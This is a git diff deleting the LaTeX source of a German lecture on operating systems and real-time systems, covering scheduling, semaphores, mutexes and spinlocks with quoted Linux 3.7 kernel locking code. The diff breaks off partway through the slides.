diff --git a/20220314/bs-20220314.pdf b/20220314/bs-20220314.pdf deleted file mode 100644 index d133587d7a6962e4eb71d9a5beb2fb30415dd207..0000000000000000000000000000000000000000 Binary files a/20220314/bs-20220314.pdf and /dev/null differ diff --git a/20220314/bs-20220314.tex b/20220314/bs-20220314.tex deleted file mode 100644 index 9a6c5337d74db090b47aa25f3bb1c728a3fa079b..0000000000000000000000000000000000000000 --- a/20220314/bs-20220314.tex +++ /dev/null @@ -1,1584 +0,0 @@ -% bs-20220314.pdf - Lecture Slides on Operating Systems -% Copyright (C) 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{rotating} -\usepackage{pdftricks} -\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx} -\usepackage{eurosym} -\usepackage{tikz} - -\begin{psinputs} - \usepackage[latin1]{inputenc} - \usepackage[german]{babel} - \usepackage[T1]{fontenc} - \usepackage{helvet} - \renewcommand*\familydefault{\sfdefault} - \usepackage{pstricks} - \psset{unit=1cm} -\end{psinputs} - -\title{Treiberentwicklung,\\[\medskipamount]Echtzeit- und Betriebssysteme} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{14.\ März 2022} - -\begin{document} - -\newlength{\normalpdfpageheight} -\setlength{\normalpdfpageheight}{\pdfpageheight} - -\maketitleframe - -\date{\begin{picture}(0,0) - \color{red} - \put(0.4,1.05){\makebox(0,0)[t]{$\underbrace{\rule{1.45cm}{0pt}}_{% - \mbox{\emph{rerum naturalium\/} = der natürlichen Dinge (lat.)}}$}} - \end{picture}% - 14.\ März 2022\kern0.5pt} - -\maketitleframe - -\author{{\color{gray}Prof.\ Dr.\ rer.\ nat.\ }Peter {\color{gray}Gerwinski}} - -\maketitleframe - -\sectionnonumber{Vorab: Online-Werkzeuge} - -\begin{frame} - - \showsectionnonumber - \begin{itemize} - \item - \textbf{Mumble}: Seminarraum 2\\ - Fragen: Mikrophon einschalten oder über den Chat\\ - Umfragen: über den Chat - \smallskip - \item - \textbf{VNC}: Kanal 6, Passwort: \lstinline[style=cmd]{testcvh}\\ - Eigenen Bildschirm freigeben: per VNC-Server oder Web-Interface\\ - Kamerabild übertragen: Link zu Web-Interface auf Anfrage - \smallskip - \item - Allgemeine Informationen: - \url{https://www.cvh-server.de/online-werkzeuge/} - \smallskip - \item - Notfall-Schnellzugang: \url{https://www.cvh-server.de/virtuelle-raeume/}\\ - Seminarraum 2, VNC-Passwort: \lstinline[style=cmd]{testcvh} - \smallskip - \item - Bei Problemen: bitte notieren:\\ - Art des Problems, genaue Uhrzeit, JavaScript-Fehlermeldungen (F12) - \bigskip - \item - GitLab: \url{https://gitlab.cvh-server.de/pgerwinski/bs}\\ - Links auf die Datei klicken, nicht mittig auf den Kommentar. - \end{itemize} - -\end{frame} - -\sectionnonumber{Treiberentwicklung, Echtzeit- und Betriebssysteme} - -%\begin{frame} -% -% \showsectionnonumber -% -% \begin{itemize} -% \item[\textbf{1}] \textbf{Einführung} -% \item[\textbf{\dots}] -% \end{itemize} -% -%\end{frame} - -\section{Einführung} - -\begin{frame} - - \showsection - - Was ist ein Betriebssystem? - - \pause - \strut\hfill - \begin{picture}(0,0) - \put(0,1.5){\makebox(0,0)[tr]{\includegraphics[height=7cm]{Operating_system_placement-de.pdf}}} - \end{picture} - \begin{itemize} - \item - Software, die zwischen Hardware\\ - und Anwendung vermittelt - \pause\bigskip - \item - Mikro-Controller:\\ - Anwendung greift \emph{direkt\/} auf Hardware zu - \pause\bigskip - \item - Eingebettetes System:\\ - Anwendung startet automatisch - \item - Arbeitsplatz-Computer: - \newterm{Oberfläche (Shell)}\\ - Benutzer*in wählt Anwendung aus - \pause\bigskip - \item - Ressourcen-Verwaltung - \end{itemize} - \pause - \begin{picture}(0,0) - \put(7.5,6.1){\makebox(0,0)[bl]{\tikz{\draw[line width=1pt] (0,0)--(4.6,1.5);}}} - \put(7.5,7.6){\makebox(0,0)[tl]{\tikz{\draw[line width=1pt] (0,0)--(4.6,-1.5);}}} - \put(7.8,0.2){\makebox(0,0)[tl]{\tikz{\draw[line width=1pt, rounded corners] (0,0)--(4.1,0)--(4.1,1.2)--(0,1.2)--cycle;}}} - \put(9.85,-0.5){\makebox(0,0.1){Benutzer*in}} - \put(8.97,0.12){\makebox(0,0)[bl]{\tikz{\draw[line width=3pt, ->] (0,0)--(0,0.65);}}} - \put(10.63,0.17){\makebox(0,0)[bl]{\tikz{\draw[line width=3pt, ->] (0,0.65)--(0,0);}}} - \end{picture} - -\end{frame} - -\begin{frame} - - \showsection - - Was gehört zum Betriebssystem? - - \strut\hfill - \begin{picture}(0,0) - \thicklines - \put(-3,0){\vector(0,-1){7}} - \put(-2.8,-0.5){\makebox(0,0)[l]{Ja, klar!}} - \put(-2.8,-6.5){\makebox(0,0)[l]{Hmm\,\dots\ vielleicht.}} - \end{picture} - - \begin{itemize} - \item - Betriebssystemkern: \newterm{Kernel} - \item - Benutzeroberfläche: \newterm{Shell}\\ - text- oder grafikorientiert\\ - (im engeren Sinne: Kommandozeile) - \item - Werkzeuge zur Verwaltung von Ressourcen\\ - (z.\,B.\ Festplatten formatieren) - \item - Graphische Benutzeroberfläche: \newterm{GUI} - \item - Texteditor - \item - Entwicklungswerkzeuge (Compiler usw.),\\ - Skriptsprachen - \item - Internet-Software: Web-Browser, E-Mail-Client usw. - \item - Multimedia-Software - \item - Büro-Anwendungssoftware - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsection - - In dieser Lehrveranstaltung: - \begin{itemize} - \item - Treiberentwicklung\\ - wie in \emph{Hardwarenahe Programmierung\/} (3./5.\ Sem.), nur "`größer"' - \item - Echtzeitsysteme\\ - wie in \emph{Eingebettete Systeme\/} (3./5.\ Sem.), nur "`größer"' - \item - neu: Betriebssysteme - \end{itemize} - - \pause - \medskip - - Statt Klausur: Projektaufgabe, z.\,B.: - \begin{itemize} - \item - neuartiger Treiber (z.\,B.\ für neuartige Hardware) - \item - neuartige Echtzeit-Funktionalität - \begin{onlyenv}<3-> - \begin{picture}(0,0) - \color{red} - \put(0.3,0.25){\makebox(0,0)[tl]{\begin{minipage}{6.2cm} - speziell: - \begin{itemize} - \color{red} - \item[\color{red}--] - Echtzeitkommunikation\\ - für Home-Office und Online-Lehre - \item[\color{red}--] - Treiber und Echtzeitkommunikation\\ - für freies Smartphone - \end{itemize} - \end{minipage}}} - \end{picture}% - \end{onlyenv}% - \item - Sonstiges - \end{itemize} - - \pause - \pause - \medskip - - Wiederholung: - \begin{itemize} - \item - Unix - \item - Hardwarenahe Programmierung - \item - Theorie der Echtzeit-Systeme - \item[\textbf{?}] - Sonstiges - \end{itemize} - -\end{frame} - -\iffalse - -\begin{frame} - {\tiny\color{gray}Diese Folie wurde weitgehend absichtlich leer gelassen.} -\end{frame} - -\section{Der Bootvorgang} - -\begin{frame} - - \showsection - - \begin{itemize} - \item - Rechner einschalten\\ - \textarrow\ Programm im Festspeicher (ROM) startet - \item - Mikro-Controller: Das war's schon.\\ - Arbeitsplatzrechner: Weiter geht's. - \item - Programm spricht Datenträger an,\\ - lädt und startet größeres Programm,\\ - kann mehr Datenträger ansprechen - \item - größeres Programm lädt noch größeres Programm - \item - \dots - \item - Zuletzt: Programm starten, das mit dem Benutzer interagiert - \bigskip - \item - abstraktes Beispiel: Bootloader, Kernel, Anmelde-Prozeß - \item - konkretes Beispiel: Linux\\ - GRUB-Stages, Kernel mit initrd, init, getty und/oder Display-Manager - \end{itemize} - -\end{frame} - -\setcounter{section}{3} -\section{Echtzeit} -\subsection{Was ist Echtzeit?} - -\begin{frame} - - \showsection - \vspace{-\smallskipamount} - \showsubsection - - \begin{itemize} - \item - Animation in Echtzeit:\\ - schnelle Berechnung anstatt Wiedergabe einer Aufzeichnung - \item - Fantasy-Rollenspiel in Echtzeit:\\ - Der Zeitverlauf der Spielwelt entspricht dem der realen Welt. - \item - Datenverarbeitung in Echtzeit:\\ - Die Daten werden so schnell verarbeitet, wie sie anfallen. - \item - speziell: Echtzeit-Steuerung von Maschinen:\\ - Die Berechnung kann mit den physikalischen Vorgängen schritthalten. - \smallskip - \arrowitem - "`Schnell genug."' - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - - "`Schnell genug."' -- "`Und wenn nicht?"' - - \begin{itemize} - \item - "`Ganz schlecht."' \textarrow\ \newterm{harte Echtzeit}\\[2pt] - rechtzeitiges Ergebnis funktionsentscheidend - - \smallskip - - \item - "`Unschön."' \textarrow\ \newterm{weiche Echtzeit}\\[2pt] - verspätetes Ergebnis qualitätsmindernd - \begin{itemize} - \baselineskip14pt\par - \item - verwenden und Verzögerung in Kauf nehmen - \item - verwerfen und Ausfall in Kauf nehmen - \end{itemize} - - \smallskip - - \item - "`Es gibt keinen festen Termin. Möglichst schnell halt."'\\[2pt] - \textarrow\ \newterm{keine Echtzeit} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Das Problem: - \vspace{-\bigskipamount} - \begin{center} -% \begin{picture}(6,2) -% \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} -% \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} -% \put(2.75,0.875){\vector(1,3){0.25}} -% \put(2.75,0.875){\line(2,1){0.5}} -% \put(3.25,1.125){\vector(-1,-3){0.25}} -% \end{picture} - \begin{pdfpic} - \begin{pspicture}(6,2) - \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} - \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} - \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) - \end{pspicture} - \end{pdfpic} - \end{center} - - Beispiel: - \begin{itemize} - \item - Eine Motorsteuerung benötigt alle \SI{2000}{\mics} einen Steuerimpuls,\\ - dessen Berechnung maximal \SI{10}{\mics} dauert. - \item - Entweder: Der Steuer-Computer macht noch andere Dinge.\\ - \textarrow\ Risiko der Zeitüberschreitung - \item - Oder: Der Steuer-Computer macht nichts anderes.\\ - \textarrow\ Verschwendung von Rechenzeit\\ - {\color{red}\textarrow\ Na und?} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Das Problem: - \vspace{-\bigskipamount} - \begin{center} - \begin{pdfpic} - \begin{pspicture}(6,2) - \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} - \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} - \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) - \end{pspicture} - \end{pdfpic} - \end{center} - - \medskip - - {\large\color{structure}\textbf{"`Verschwendung von Rechenzeit -- na und?"'}} - - \medskip - - Große Stückzahlen - \begin{itemize} - \item - 138\,000 Toyota Prius V von Mai 2011 bis April 2012 - \end{itemize} - - \medskip - - Wertvolle Ressourcen - \begin{itemize} - \item - Fähigkeiten einer Raumsonde optimieren - % (Marsumlaufbahn: ab ca.~127\,000 Euro pro kg) - % 70000000 / 550000 = 127._27 - % http://www.bernd-leitenberger.de/blog/2009/09/29/reduktion-der-kosten-von-planetenmissionen/ - % \only<.(1)>{\\[\bigskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.5cm]{curiosity.jpg}}\vspace*{-1cm}} - \item - Implantat: Platz- und Stromverbrauch minimieren - % \only<.(1)>{\\[\smallskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.4cm]{herzschrittmacher.jpg}}\vspace*{-1cm}} - \end{itemize} - - \bigskip - - \textarrow\ {\large\color{structure}\textbf{Echtzeitprogrammierung}}\\[2pt] - \strut \phantom{\textarrow} Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden - -\end{frame} - -\subsection{Multitasking} - -\begin{frame} - - \showsection - \showsubsection - - \begin{minipage}[t]{6cm} - Qualitätssicherung beim Multitasking - \begin{itemize} - \item - Verschiedene Anforderungen: - \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\ - vs.\ \newterm{Durchsatz} - \item - Ressourcen reservieren:\\ - \newterm{Mutexe} - (= spezielle \newterm{Semaphore\/})\\ - \strut - \item - Verschiedene Methoden\\ - der Priorisierung\\ - \strut - \item - Umgehung der Probleme durch - speziell geschriebene Software\\ - (MultiWii, RP6, \dots) - \end{itemize} - \end{minipage} - \hfill - \begin{minipage}[t]{6.2cm} - Qualitätssicherung für Netzwerke: - \begin{itemize} - \item - Verschiedene Anforderungen: - \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz} - \item - Ressourcen reservieren:\\ - \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)} - \item - Klassifizierung und Priorisierung: - \newterm{DiffServ} mit Type-of-Service-Bits (IPv4) - bzw.\ Traffic-Class-Bits (IPv6) im IP-Header - \item - Eigenes Protokoll (Telefondienste):\\ - \newterm{Asynchronous Transfer Mode (ATM)} - \end{itemize} - \end{minipage} - -\end{frame} - -% Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren - -% evtl. Aufgabe: Warte-Problem - -% Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme -% das o.a. Zuteilungsproblem? - -% Danach: Semaphoren, Mutexe, Spinlocks -% Priorisierungsmethoden und -probleme - -\subsectionnonumber{Beispiele für Multitasking} - -\begin{frame} - - \showsubsectionnonumber - - Quadrocopter-Steuerung \emph{MultiWii} - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\ - ansonsten zyklisch einer von bis zu 5 weiteren Tasks. - \end{itemize} - - RP6-Steuerung - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\ - Die Interrupt-Handler zählen Variable hoch. - \item - 10000mal pro Sekunde: Timer-Interrupt\\ - verschiedene Tasks werden unterschiedlich häufig aufgerufen - \item - Nebenbei: 1 Benutzerprogramm - \end{itemize} - - Linux 0.01 - \begin{itemize} - \item - Timer-Interrupt:\only<2->{ Zähler des aktuellen Tasks wird dekrementiert;}\\ - Task mit höchstem Zähler bekommt Rechenzeit. - \item - Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\ - bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen. - \item<3-> - \emph{keine\/} harte Echtzeit - % Aufgabe: Wo wird der Zähler heruntergezählt? - \end{itemize} - -\end{frame} - -\iffalse - -\subsectionnonumber{Zombies} - -\begin{frame} - - \showsubsectionnonumber - - \pause - Wikipedia: - \begin{quote} - Als Zombie wird die fiktive Figur eines zum Leben erweckten - Toten (Untoter) oder eines seiner Seele beraubten, willenlosen - Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe - aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet - dort ursprünglich einen Totengeist. - \end{quote} - - \bigskip - - \pause - Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\ - bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\ - hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\ - wird aber noch in der Prozeßliste geführt ("`untot"'). - \begin{itemize} - \pause - \item - Warum? - \textarrow\ - Ein anderer Prozeß (Elternprozeß) wartet noch auf den - Rückgabewert des beendeten Prozesses. - \pause - \item - Schadet das? - \textarrow\ - Nein. - \pause - \item - Aber? - \textarrow\ - Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen - Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'. - \pause - \item - Beispiel: - Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\ - \textarrow\ - Tochterprozesse werden zu Zombies. - \end{itemize} - -\end{frame} - -\fi - -\subsection{Ressourcen} - -\begin{frame} - - \showsection - \showsubsection - - Ressourcen reservieren - \begin{itemize} - \item - \newterm{Semaphor}\\ - gemeinsame Variable mehrerer Prozesse\\ - zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount] - Ressource belegt \textarrow\ Kontextwechsel - \begin{onlyenv}<1> - \par\medskip - griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\ - "`Eisenbahnsignal"' - \vspace*{-3cm} - \end{onlyenv} - \pause - \medskip - \item - \newterm{Mutex}\\ - Mechanismus, damit immer nur ein Prozeß gleichzeitig\\ - auf eine Ressource zugreifen kann - \begin{onlyenv}<2> - \par\medskip - englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\ - spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\ - % allgemein: auch jemand anderer dürfte freigeben - \vspace*{-3cm} - \end{onlyenv} - \pause - \medskip - \item - \newterm{Spinlock} (\emph{busy waiting\/})\\ - leichtgewichtige Alternative zu Kontextwechsel - \begin{onlyenv}<3> - \par\medskip - englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\ - \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount] - Hardware-Unterstützung: - Prüfen, ob Variable bestimmten Wert hat;\\ - wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten - \vspace*{-3cm} - \end{onlyenv} - \pause - \medskip - \item - \newterm{Kritischer Abschnitt -- critical section}\\ - Programmabschnitt zwischen Reservierung\\ - und Freigabe einer Ressource\\ - \textarrow\ sollte immer so kurz wie möglich sein - \vspace*{-1cm} - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ressourcen reservieren: Beispiele - \begin{itemize} - \item - \newterm{Semaphor}\\ - \file{linux-3.7-rc1/kernel/semaphor.c}\\ - \file{linux-3.7-rc1/drivers/usb/core/file.c} - \medskip - \item - \newterm{Mutex}\\ - \file{linux-3.7-rc1/kernel/mutex.c}\\ - \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c} - \medskip - \item - \newterm{Spinlock}\\ - \file{linux-3.7-rc1/kernel/spinlock.c}\\ - \file{linux-3.7-rc1/kernel/semaphor.c}, - \file{linux-3.7-rc1/kernel/mutex.c} - \end{itemize} - - % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren - - % evtl. Aufgabe: Warte-Problem - - % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme - % das o.a. Zuteilungsproblem? - - % Danach: Semaphoren, Mutexe, Spinlocks - % Priorisierungsmethoden und -probleme - - % Festplatten: completely fair queueing - % cat /sys/block/sdc/queue/scheduler - % "noop" hat sich für SVG gelohnt - - % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos - -\end{frame} - -\begin{frame}[fragile] - - \textbf{Beispiel:} - \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren - - Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62 - - \medskip - - \begin{lstlisting} - struct usb_serial *usb_serial_get_by_index (unsigned index) - { - struct usb_serial *serial; - mutex_lock (&table_lock); - serial = serial_table[index]; - if (serial) - { - mutex_lock (&serial->disc_mutex); - if (serial->disconnected) - { - mutex_unlock (&serial->disc_mutex); - serial = NULL; - } - else - kref_get (&serial->kref); - } - mutex_unlock (&table_lock); - return serial; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(5.1,6.85){\vector(-1,0){0.5}} - \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}} - \put(5.4,1.35){\vector(-1,0){0.5}} - \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}} - \end{picture} - -\end{frame} - -\setlength{\pdfpageheight}{48cm} - -\begin{frame}[fragile] - - \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten - - Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62 - - \medskip - - \begin{lstlisting} - void __sched mutex_lock (struct mutex *lock) - { - might_sleep (); - __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath); - mutex_set_owner (lock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(11.6,1.35){\line(-1,0){1}} - \put(11.6,1.35){\line(0,-1){2.45}} - \put(11.6,-1.10){\vector(-1,0){2.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24 - - Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert) - - \medskip - - Assembler: - \begin{lstlisting}[language={[x86masm]Assembler}] - lock dec (lock->count) - jns 1 - call __mutex_lock_slowpath - 1: - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9,0.95){\line(-1,0){3.5}} - \put(9,0.95){\line(0,-1){2.5}} - \put(9.0,-1.55){\vector(-1,0){1.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398 - - \medskip - - \begin{lstlisting} - static __used noinline void __sched - __mutex_lock_slowpath (atomic_t *lock_count) - { - struct mutex *lock = container_of (lock_count, struct mutex, count); - __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0, - NULL, _RET_IP_); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(11.0,1.40){\line(-1,0){1.0}} - \put(11.0,1.40){\vector(0,-1){2.5}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132 - - \medskip - - \begin{lstlisting} - static inline int __sched - __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass, - struct lockdep_map *nest_lock, unsigned long ip) - { - struct task_struct *task = current; - struct mutex_waiter waiter; - unsigned long flags; - - preempt_disable (); - mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip); - - /* ... */ - - spin_lock_mutex (&lock->wait_lock, flags); - - debug_mutex_lock_common (lock, &waiter); - debug_mutex_add_waiter (lock, &waiter, task_thread_info (task)); - - /* add waiting tasks to the end of the waitqueue (FIFO): */ - list_add_tail (&waiter.list, &lock->wait_list); - waiter.task = task; - - if (atomic_xchg (&lock->count, -1) == 1) - goto done; - - lock_contended (&lock->dep_map, ip); - - for (;;) - { - /* - * Lets try to take the lock again - this is needed even if - * we get here for the first time (shortly after failing to - * acquire the lock), to make sure that we get a wakeup once - * it's unlocked. Later on, if we sleep, this is the - * operation that gives us the lock. We xchg it to -1, so - * that when we release the lock, we properly wake up the - * other waiters: - */ - if (atomic_xchg (&lock->count, -1) == 1) - break; - - /* - * got a signal? (This code gets eliminated in the - * TASK_UNINTERRUPTIBLE case.) - */ - if (unlikely (signal_pending_state (state, task))) - { - mutex_remove_waiter (lock, &waiter, task_thread_info (task)); - mutex_release (&lock->dep_map, 1, ip); - spin_unlock_mutex (&lock->wait_lock, flags); - - debug_mutex_free_waiter (&waiter); - preempt_enable (); - return -EINTR; - } - __set_task_state (task, state); - - /* didn't get the lock, go to sleep: */ - spin_unlock_mutex (&lock->wait_lock, flags); - schedule_preempt_disabled (); - spin_lock_mutex (&lock->wait_lock, flags); - } - - done: - lock_acquired (&lock->dep_map, ip); - /* got the lock - rejoice! */ - mutex_remove_waiter (lock, &waiter, current_thread_info ()); - mutex_set_owner (lock); - - /* set it to 0 if there are no waiters left: */ - if (likely (list_empty (&lock->wait_list))) - atomic_set (&lock->count, 0); - - spin_unlock_mutex (&lock->wait_lock, flags); - - debug_mutex_free_waiter (&waiter); - preempt_enable (); - - return 0; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(7.9,28.3){\vector(-1,0){0.5}} - \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}} - \put(7.4,2.3){\vector(-1,1){0.4}} - \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}} - \end{picture} - -\end{frame} - -\setlength{\pdfpageheight}{40.5cm} - -\begin{frame}[fragile] - - \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting} - - Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12 - - \medskip - - \begin{lstlisting} - #define spin_lock_mutex(lock, flags) \ - do \ - { \ - spin_lock (lock); \ - (void) (flags); \ - } \ - while (0) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(8.5,1.75){\line(-1,0){4.5}} - \put(8.5,1.75){\line(0,-1){2.9}} - \put(8.5,-1.15){\vector(-1,0){1.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283 - - \medskip - - \begin{lstlisting} - static inline void spin_lock (spinlock_t *lock) - { - raw_spin_lock (&lock->rlock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.3,0.95){\line(-1,0){4.0}} - \put(9.3,0.95){\line(0,-1){2.1}} - \put(9.3,-1.15){\vector(-1,0){1.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170 - - \medskip - - \begin{lstlisting} - #define raw_spin_lock(lock) _raw_spin_lock (lock) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(10.0,0.55){\line(-1,0){0.5}} - \put(10.0,0.55){\line(0,-1){1.7}} - \put(10.0,-1.15){\vector(-1,0){1.3}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47 - - \medskip - - \begin{lstlisting} - #define _raw_spin_lock(lock) __raw_spin_lock (lock) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(10.7,0.55){\line(-1,0){0.5}} - \put(10.7,0.55){\line(0,-1){1.75}} - \put(10.7,-1.2){\vector(-1,0){2.3}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert): - - \medskip - - \begin{lstlisting} - void __lockfunc __raw_spin_lock (spinlock_t *lock) - { - for (;;) - { - preempt_disable (); - if (likely (do_raw_spin_trylock (lock))) - break; - preempt_enable (); - - if (!(lock)->break_lock) - (lock)->break_lock = 1; - while (!raw_spin_can_lock (lock) && (lock)->break_lock) - arch_spin_relax (&lock->raw_lock); - } - (lock)->break_lock = 0; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(10.7,4.75){\line(-1,0){3.5}} - \put(10.7,4.75){\line(0,-1){5.95}} - \put(10.7,-1.2){\vector(-1,0){1.1}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150: - - \medskip - - \begin{lstlisting} - static inline int do_raw_spin_trylock (raw_spinlock_t *lock) - { - return arch_spin_trylock (&(lock)->raw_lock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(11.5,0.95){\line(-1,0){3.5}} - \put(11.5,0.95){\line(0,-1){2.1}} - \put(11.5,-1.15){\vector(-1,0){0.7}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116: - - \medskip - - \begin{lstlisting} - static __always_inline int arch_spin_trylock (arch_spinlock_t *lock) - { - return __ticket_spin_trylock (lock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.5,0.95){\line(-1,0){3.5}} - \put(9.5,0.95){\vector(0,-1){1.7}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65: - - \medskip - - \begin{lstlisting} - static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock) - { - arch_spinlock_t old, new; - - old.tickets = ACCESS_ONCE (lock->tickets); - if (old.tickets.head != old.tickets.tail) - return 0; - - new.head_tail = old.head_tail + (1 << TICKET_SHIFT); - - /* cmpxchg is a full barrier, so nothing can move before it */ - return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(2.2,0.3){\line(0,1){0.4}} - \put(9.0,0.3){\line(-1,0){6.8}} - \put(9.0,0.3){\line(0,-1){1.45}} - \put(9.0,-1.15){\vector(-1,0){3.2}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147: - - \medskip - - \begin{lstlisting} - #define cmpxchg(ptr, old, new) \ - __cmpxchg (ptr, old, new, sizeof (*(ptr))) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.0,0.5){\line(-1,0){1.8}} - \put(9.0,0.5){\line(0,-1){1.65}} - \put(9.0,-1.15){\vector(-1,0){2.2}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131: - - \medskip - - \begin{lstlisting} - #define __cmpxchg(ptr, old, new, size) \ - __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(2.2,-0.1){\line(0,1){0.3}} - 